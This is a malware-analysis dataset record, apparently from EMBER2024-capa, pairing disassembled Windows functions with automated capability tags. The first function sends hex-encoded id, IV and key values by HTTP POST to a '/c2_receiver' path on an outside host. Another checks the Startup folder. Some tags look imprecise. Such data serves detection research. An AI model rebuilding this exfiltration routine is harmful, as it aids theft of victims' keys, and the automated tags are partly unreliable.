joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [str.Content_Type:_application_json]
mov eax, dword [0x140003760]
xor r12d, r12d
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x140003764]
mov r14, rdx
movups xmmword [rsp + 0x40], xmm0
mov rbp, rcx
mov word [rsp + 0x5c], ax
movsd xmm0, qword [0x140003758]
mov edi, r12d
movzx eax, byte [0x140003766]
mov ebx, r12d
movsd qword [rsp + 0x50], xmm0
mov esi, 0x41
mov byte [rsp + 0x5e], al
nop word [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xec
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400020b0
add rsp, 0x1e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400016c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
xor ebx, ebx
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x20]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001720
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000174b
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x1400016f0
xor eax, eax
jmp 0x140001750
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400020b0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180034b70
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
movzx eax, word [rdx]
cmp eax, 0x5a4d
jne 0x180034bfc
movsxd rax, dword [rdx + 0x3c]
test rax, rax
je 0x180034c01
cmp eax, 0x40
jb 0x180034cf1
cmp rax, r8
ja 0x180034cf1
movzx r9d, word [rax + rdx + 0x18]
cmp r9d, 0x10b
je 0x180034c06
mov r10b, 5
cmp r9d, 0x20b
jne 0x180034c31
mov r10b, 2
cmp dword [rdx + rax], 0x4550
jne 0x180034c31
lea r9, [rdx + rax]
movzx r11d, word [r9 + 4]
mov r10b, 3
cmp r11d, 0x8664
jne 0x180034c31
mov r10b, 4
test byte [r9 + 0x16], 2
je 0x180034c31
lea r10, [rax + 0x108]
mov r11d, 1
cmp r10, r8
jbe 0x180034c64
jmp 0x180034cf1
xor r10d, r10d
jmp 0x180034c31
mov r10b, 1
jmp 0x180034c31
mov r10b, 2
cmp dword [rdx + rax], 0x4550
jne 0x180034c31
lea r9, [rdx + rax]
movzx r11d, word [r9 + 4]
mov r10b, 3
cmp r11d, 0x14c
jne 0x180034c31
mov r10b, 4
test byte [r9 + 0x16], 2
jne 0x180034c51
mov byte [rcx], r10b
mov r8d, 2
mov eax, 0x18
mov qword [rcx + rax], r8
mov rax, rcx
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r10, [rax + 0xf8]
cmp r10, r8
ja 0x180034cf1
xor r11d, r11d
mov rsi, r8
sub rsi, r10
movzx ebx, word [rdx + rax + 6]
lea rdi, [rbx*8]
lea rdi, [rdi + rdi*4]
sub rsi, rdi
jb 0x180034cf1
add rax, 0xffffffffffffffc0
lea r14, [rdx + 0x40]
add r10, rdx
mov r15, rdx
shr r15, 8
add rdi, r10
mov ebp, ebx
shr ebp, 8
mov byte [rcx], dl
mov r12, rdx
shr r12, 0x38
mov byte [rcx + 7], r12b
mov r12, rdx
shr r12, 0x28
mov word [rcx + 5], r12w
mov dword [rcx + 1], r15d
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], r9
mov qword [rcx + 0x28], r10
mov byte [rcx + 0x30], bl
mov dword [rcx + 0x31], ebp
mov byte [rcx + 0x37], 0
mov word [rcx + 0x35], 0
mov qword [rcx + 0x38], rdi
mov qword [rcx + 0x40], rsi
mov qword [rcx + 0x48], rdx
mov eax, 0x50
jmp 0x180034c3f
ud2
Function at 0x18003f530
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx]
nop word cs:[rax + rax]
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x18003f540
test al, 1
je 0x18003f55b
test al, 2
jne 0x18003f55b
xor rax, 3
ret
ud2

Function at 0x180041ac0
Capabilities:
Set socket configuration

Disassembly:
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x180041ad0
add rcx, 0x18
jmp 0x180053880
ud2
jmp 0x18005e7f0
sub rsp, 0x38
movzx eax, dl
mov rcx, qword [rcx]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x18005e828
xor eax, eax
add rsp, 0x38
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
add rsp, 0x38
ret
Function at 0x180041b60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x180049e50
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x180049e9a
mov r15, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
mov rdx, r15
mov r8, rdi
xor r9d, r9d
call fcn.18003f150
movzx eax, byte [rsp + 0x29]
cmp al, 3
jne 0x180049ec5
mov eax, 1
jmp 0x18004a033
mov rdx, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
mov r8, rdi
xor r9d, r9d
call fcn.18003f150
movzx eax, byte [rsp + 0x29]
cmp al, 3
jne 0x180049ffc
mov eax, 1
jmp 0x18004a033
add rbx, 0x18
lea r13, [rsp + 0x20]
mov qword [rsp + 0x30], rdi
jmp 0x180049f1f
dec r13
mov edx, 0x18
mov r8d, 8
mov rcx, r13
call fcn.180034a40
mov r13, rbx
mov rcx, rbx
mov rdx, r15
mov r8, qword [rsp + 0x30]
xor r9d, r9d
call fcn.18003f150
movzx eax, byte [rsp + 0x29]
cmp al, 3
mov rbx, rsi
mov rsi, r14
je 0x180049e90
mov rbp, qword [rsp + 0x20]
cmp al, 2
je 0x18004a005
mov r8, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
sub r8, r12
jb 0x18004a04f
movzx edi, byte [rsp + 0x28]
mov r14, rsi
mov rdx, qword [rsi]
add rdx, r12
mov rsi, rbx
mov qword [rsp + 0x20], rbx
mov rbx, r13
mov rcx, r13
call fcn.1800538a0
mov r13, rdx
test rax, rax
je 0x18004a009
mov rcx, r13
call fcn.180049af0
cmp al, 0xd
jne 0x18004a02e
and ebp, 0x23
mov rax, qword [r15 + 0x90]
xor rbp, 0x2f
mov rcx, rdi
shl rcx, 0x10
nop
mov edx, eax
shr edx, 0x10
cmp dil, dl
jne 0x180049fac
mov edx, eax
and edx, ebp
or rdx, rcx
lock cmpxchg qword [r15 + 0x90], rdx
jne 0x180049f90
mov eax, r13d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x180049ef6
test rax, rax
je 0x180049ef6
mov rbp, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x180049fde
mov rcx, rbp
call rax
mov rdx, qword [rdi + 8]
test rdx, rdx
je 0x180049ee0
mov r8, qword [rdi + 0x10]
mov rcx, rbp
call fcn.180034a40
jmp 0x180049ee0
cmp al, 2
jne 0x18004a047
mov rbp, qword [rsp + 0x20]
xor eax, eax
jmp 0x18004a033
lea rax, [r12 + r13]
mov rcx, qword [r14 + 0x18]
cmp rax, rcx
jbe 0x18004a01d
mov qword [r14 + 0x18], rax
mov rcx, rax
add r12, r13
jb 0x18004a04f
cmp rax, rcx
ja 0x18004a04f
mov qword [r14 + 0x10], rax
xor r13d, r13d
xor eax, eax
mov rbp, r13
mov rdx, rbp
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
ud2

Function at 0x180042c90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword [rcx]
add rcx, 0x10
jmp 0x180049e50
Function at 0x180042d30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword [rcx]
add rcx, 0x10
jmp 0x18004a060
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], r8
mov rdi, rdx
mov r15, rcx
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x18004a0b1
mov r12, qword [r15 + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, r12
mov r8, rdi
mov r9b, 1
call fcn.18003f150
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x18004a0dc
mov eax, 2
jmp 0x18004a216
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x28]
mov r8, rdi
mov r9b, 1
call fcn.18003f150
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x18004a1fc
mov eax, 2
jmp 0x18004a216
add r15, 0x18
lea rsi, [rsp + 0x28]
jmp 0x18004a123
dec r13
mov edx, 0x18
mov r8d, 8
mov rcx, r13
call fcn.180034a40
mov rsi, r14
mov rcx, r14
mov rdx, r12
mov r8, rdi
mov r9b, 1
call fcn.18003f150
movzx eax, byte [rsp + 0x31]
cmp al, 3
je 0x18004a0a7
mov rbp, qword [rsp + 0x28]
cmp al, 2
je 0x18004a211
movzx ebx, byte [rsp + 0x30]
mov qword [rsp + 0x28], r15
mov r14, rsi
mov rcx, rsi
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call fcn.1800538b0
mov rsi, rax
mov r13, rdx
test rax, rax
je 0x18004a20c
mov rcx, r13
call fcn.180049af0
cmp al, 0xd
jne 0x18004a20c
and ebp, 0x23
mov rax, qword [r12 + 0x90]
xor rbp, 0x2f
mov rcx, rbx
shl rcx, 0x10
nop word cs:[rax + rax]
mov edx, eax
shr edx, 0x10
cmp bl, dl
jne 0x18004a1ac
mov edx, eax
and edx, ebp
or rdx, rcx
lock cmpxchg qword [r12 + 0x90], rdx
jne 0x18004a190
mov eax, r13d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x18004a106
test rax, rax
je 0x18004a106
mov rsi, qword [r13 - 1]
mov rbx, qword [r13 + 7]
mov rax, qword [rbx]
test rax, rax
je 0x18004a1de
mov rcx, rsi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x18004a0f0
mov r8, qword [rbx + 0x10]
mov rcx, rsi
call fcn.180034a40
jmp 0x18004a0f0
cmp al, 2
jne 0x18004a22d
mov r13, qword [rsp + 0x28]
mov eax, 1
jmp 0x18004a219
mov rax, rsi
jmp 0x18004a219
mov eax, 1
mov r13, rbp
mov rdx, r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
Function at 0x180049e50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x180049e50
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x180049e9a
mov r15, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
mov rdx, r15
mov r8, rdi
xor r9d, r9d
call fcn.18003f150
movzx eax, byte [rsp + 0x29]
cmp al, 3
jne 0x180049ec5
mov eax, 1
jmp 0x18004a033
mov rdx, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
mov r8, rdi
xor r9d, r9d
call fcn.18003f150
movzx eax, byte [rsp + 0x29]
cmp al, 3
jne 0x180049ffc
mov eax, 1
jmp 0x18004a033
add rbx, 0x18
lea r13, [rsp + 0x20]
mov qword [rsp + 0x30], rdi
jmp 0x180049f1f
dec r13
mov edx, 0x18
mov r8d, 8
mov rcx, r13
call fcn.180034a40
mov r13, rbx
mov rcx, rbx
mov rdx, r15
mov r8, qword [rsp + 0x30]
xor r9d, r9d
call fcn.18003f150
movzx eax, byte [rsp + 0x29]
cmp al, 3
mov rbx, rsi
mov rsi, r14
je 0x180049e90
mov rbp, qword [rsp + 0x20]
cmp al, 2
je 0x18004a005
mov r8, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
sub r8, r12
jb 0x18004a04f
movzx edi, byte [rsp + 0x28]
mov r14, rsi
mov rdx, qword [rsi]
add rdx, r12
mov rsi, rbx
mov qword [rsp + 0x20], rbx
mov rbx, r13
mov rcx, r13
call fcn.1800538a0
mov r13, rdx
test rax, rax
je 0x18004a009
mov rcx, r13
call fcn.180049af0
cmp al, 0xd
jne 0x18004a02e
and ebp, 0x23
mov rax, qword [r15 + 0x90]
xor rbp, 0x2f
mov rcx, rdi
shl rcx, 0x10
nop
mov edx, eax
shr edx, 0x10
cmp dil, dl
jne 0x180049fac
mov edx, eax
and edx, ebp
or rdx, rcx
lock cmpxchg qword [r15 + 0x90], rdx
jne 0x180049f90
mov eax, r13d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x180049ef6
test rax, rax
je 0x180049ef6
mov rbp, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x180049fde
mov rcx, rbp
call rax
mov rdx, qword [rdi + 8]
test rdx, rdx
je 0x180049ee0
mov r8, qword [rdi + 0x10]
mov rcx, rbp
call fcn.180034a40
jmp 0x180049ee0
cmp al, 2
jne 0x18004a047
mov rbp, qword [rsp + 0x20]
xor eax, eax
jmp 0x18004a033
lea rax, [r12 + r13]
mov rcx, qword [r14 + 0x18]
cmp rax, rcx
jbe 0x18004a01d
mov qword [r14 + 0x18], rax
mov rcx, rax
add r12, r13
jb 0x18004a04f
cmp rax, rcx
ja 0x18004a04f
mov qword [r14 + 0x10], rax
xor r13d, r13d
xor eax, eax
mov rbp, r13
mov rdx, rbp
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
ud2
Function at 0x18004a060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword [rcx]
add rcx, 0x10
jmp 0x18004a060
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], r8
mov rdi, rdx
mov r15, rcx
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x18004a0b1
mov r12, qword [r15 + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, r12
mov r8, rdi
mov r9b, 1
call fcn.18003f150
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x18004a0dc
mov eax, 2
jmp 0x18004a216
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x28]
mov r8, rdi
mov r9b, 1
call fcn.18003f150
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x18004a1fc
mov eax, 2
jmp 0x18004a216
add r15, 0x18
lea rsi, [rsp + 0x28]
jmp 0x18004a123
dec r13
mov edx, 0x18
mov r8d, 8
mov rcx, r13
call fcn.180034a40
mov rsi, r14
mov rcx, r14
mov rdx, r12
mov r8, rdi
mov r9b, 1
call fcn.18003f150
movzx eax, byte [rsp + 0x31]
cmp al, 3
je 0x18004a0a7
mov rbp, qword [rsp + 0x28]
cmp al, 2
je 0x18004a211
movzx ebx, byte [rsp + 0x30]
mov qword [rsp + 0x28], r15
mov r14, rsi
mov rcx, rsi
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call fcn.1800538b0
mov rsi, rax
mov r13, rdx
test rax, rax
je 0x18004a20c
mov rcx, r13
call fcn.180049af0
cmp al, 0xd
jne 0x18004a20c
and ebp, 0x23
mov rax, qword [r12 + 0x90]
xor rbp, 0x2f
mov rcx, rbx
shl rcx, 0x10
nop word cs:[rax + rax]
mov edx, eax
shr edx, 0x10
cmp bl, dl
jne 0x18004a1ac
mov edx, eax
and edx, ebp
or rdx, rcx
lock cmpxchg qword [r12 + 0x90], rdx
jne 0x18004a190
mov eax, r13d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x18004a106
test rax, rax
je 0x18004a106
mov rsi, qword [r13 - 1]
mov rbx, qword [r13 + 7]
mov rax, qword [rbx]
test rax, rax
je 0x18004a1de
mov rcx, rsi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x18004a0f0
mov r8, qword [rbx + 0x10]
mov rcx, rsi
call fcn.180034a40
jmp 0x18004a0f0
cmp al, 2
jne 0x18004a22d
mov r13, qword [rsp + 0x28]
mov eax, 1
jmp 0x18004a219
mov rax, rsi
jmp 0x18004a219
mov eax, 1
mov r13, rbp
mov rdx, r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
Function at 0x18004c330
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x50
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x18004c340
test al, 1
je 0x18004c433
test al, 2
jne 0x18004c433
test al, 8
jne 0x18004c37b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
call fcn.180042900
jmp 0x18004c393
test al, 0x10
je 0x18004c393
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x18004c433
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x10]
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x18004c433
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x18004c3fc
mov rcx, qword [rsi + 0x28]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x18004c402
test rax, rax
jne 0x18004c40b
mov rdx, qword [rsi + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x18004c40b
test rdx, rdx
je 0x18004c40b
mov rcx, qword [rsi + 0x38]
mov r8d, 1
call fcn.180034a40
jmp 0x18004c40b
add rsp, 0x50
pop rsi
ret
lea rcx, [rsi + 0x28]
call fcn.18003fea0
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x18004c41b
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x18]
mov edx, 0x80
mov r8d, 0x80
mov rcx, rsi
add rsp, 0x50
pop rsi
jmp fcn.180034a40
ud2
Function at 0x1800536b0
Capabilities:
Set socket configuration

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov esi, edx
cmp word [rcx], 0
mov eax, 2
mov edi, 0x17
cmove edi, eax
mov eax, dword [0x1800b4b38]
cmp eax, 3
jne 0x18005374d
mov ecx, edi
mov edx, esi
xor r8d, r8d
call qword [sym.imp.ws2_32.dll_socket]
cmp rax, 0xffffffffffffffff
je 0x180053728
mov rsi, rax
mov dword [rsp + 0x2c], 1
lea r8, [rsp + 0x2c]
mov rcx, rax
mov edx, 0x8004667e
call qword [sym.imp.ws2_32.dll_ioctlsocket]
test eax, eax
je 0x18005373e
call sub.kernel32.dll_GetLastError
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov rcx, rsi
call qword [sym.imp.ws2_32.dll_closesocket]
mov eax, 1
jmp 0x180053743
call sub.kernel32.dll_GetLastError
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov eax, 1
jmp 0x180053743
xor eax, eax
mov rdi, rsi
mov rdx, rdi
add rsp, 0x38
pop rdi
pop rsi
ret
mov byte [rsp + 0x2b], 1
lea rax, [rsp + 0x2b]
mov qword [rsp + 0x30], rax
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_1.0.2_src_syswindows_net.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1800b4b38]
lea r9, [0x18009a070]
lea r8, [rsp + 0x30]
xor edx, edx
call fcn.180092990
jmp 0x1800536d4

Function at 0x180053790
Capabilities:
Connect socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rbx, rdx
mov rsi, rcx
mov rcx, rdx
mov edx, 1
call fcn.1800536b0
mov rdi, rdx
test rax, rax
je 0x1800537c2
mov qword [rsi + 8], rdi
mov qword [rsi], 0xffffffffffffffff
jmp 0x180053863
cmp word [rbx], 0
je 0x1800537e7
movups xmm0, xmmword [rbx + 4]
movzx eax, word [rbx + 0x1c]
rol ax, 8
mov ecx, dword [rbx + 0x18]
add rbx, 0x14
mov r8d, 0x1c
mov dx, 0x17
jmp 0x180053800
movzx eax, word [rbx + 6]
rol ax, 8
add rbx, 2
xorps xmm0, xmm0
mov r8d, 0x10
mov dx, 2
mov r9d, dword [rbx]
mov word [rsp + 0x24], dx
mov word [rsp + 0x26], ax
mov dword [rsp + 0x28], r9d
movups xmmword [rsp + 0x2c], xmm0
mov dword [rsp + 0x3c], ecx
lea rdx, [rsp + 0x24]
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18005383a
call sub.kernel32.dll_GetLastError
cmp eax, 0x2733
jne 0x180053847
mov qword [rsi], rdi
mov qword [rsi + 8], 0
jmp 0x180053863
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
Function at 0x180057100
Capabilities:
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x478
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x48], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x28], rax
xor edi, edi
mov r14, qword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
mov ebx, 0xffffffff
xor r12d, r12d
cmp r8, 0x201
jae 0x180057190
jmp 0x18005717f
jae 0x18005724c
cmp r8, 0x201
jae 0x180057190
mov esi, 0x200
lea r13, [rsp + 0x78]
mov rbp, r8
jmp 0x1800571bb
sub r8, r12
mov rax, rdi
sub rax, r12
cmp r8, rax
ja 0x18005721c
cmp rdi, rbx
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rsp + 0x48], r12
mov rsi, r12
mov r13, qword [rsp + 0x28]
mov rbp, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r13
mov edx, ebp
call r14
mov r15d, eax
test eax, eax
jne 0x1800571e0
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1800572ff
mov r8d, r15d
cmp rbp, r8
jne 0x180057170
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x18005732a
lea r8, [rbp*2]
cmp rbp, 0x7fffffff
cmova r8, rbx
cmp r8, 0x201
jb 0x18005717f
jmp 0x180057190
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x38]
mov rdx, r12
call fcn.18008fa70
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x18005719e
cmp rsi, r8
jb 0x18005732a
mov rax, qword [rsp + 0x50]
mov rsi, qword [rax]
mov rbx, qword [rax + 8]
lea r14, [rsp + 0x58]
mov rcx, r14
mov rdx, r13
call fcn.1800648d0
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
mov rcx, r14
call fcn.180063410
cmp byte [rbx], 0
jne 0x18005729c
lea rdx, str.exestrings_passed_to_WinAPI_cannot_contain_NULs
lea rcx, [rsp + 0x58]
mov r8d, 3
call fcn.180063db0
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x30]
mov rcx, rsi
call fcn.1800611c0
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x1800572cd
mov rcx, qword [rsp + 0x60]
mov r8d, 1
call fcn.180034a40
test rdi, rdi
je 0x1800572e8
add rdi, rdi
mov r8d, 2
mov rcx, qword [rsp + 0x28]
mov rdx, rdi
call fcn.180034a40
mov rax, rsi
add rsp, 0x478
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rsp + 0x30]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000001
mov qword [rsi], rax
test rdi, rdi
jne 0x1800572d2
jmp 0x1800572e8
ud2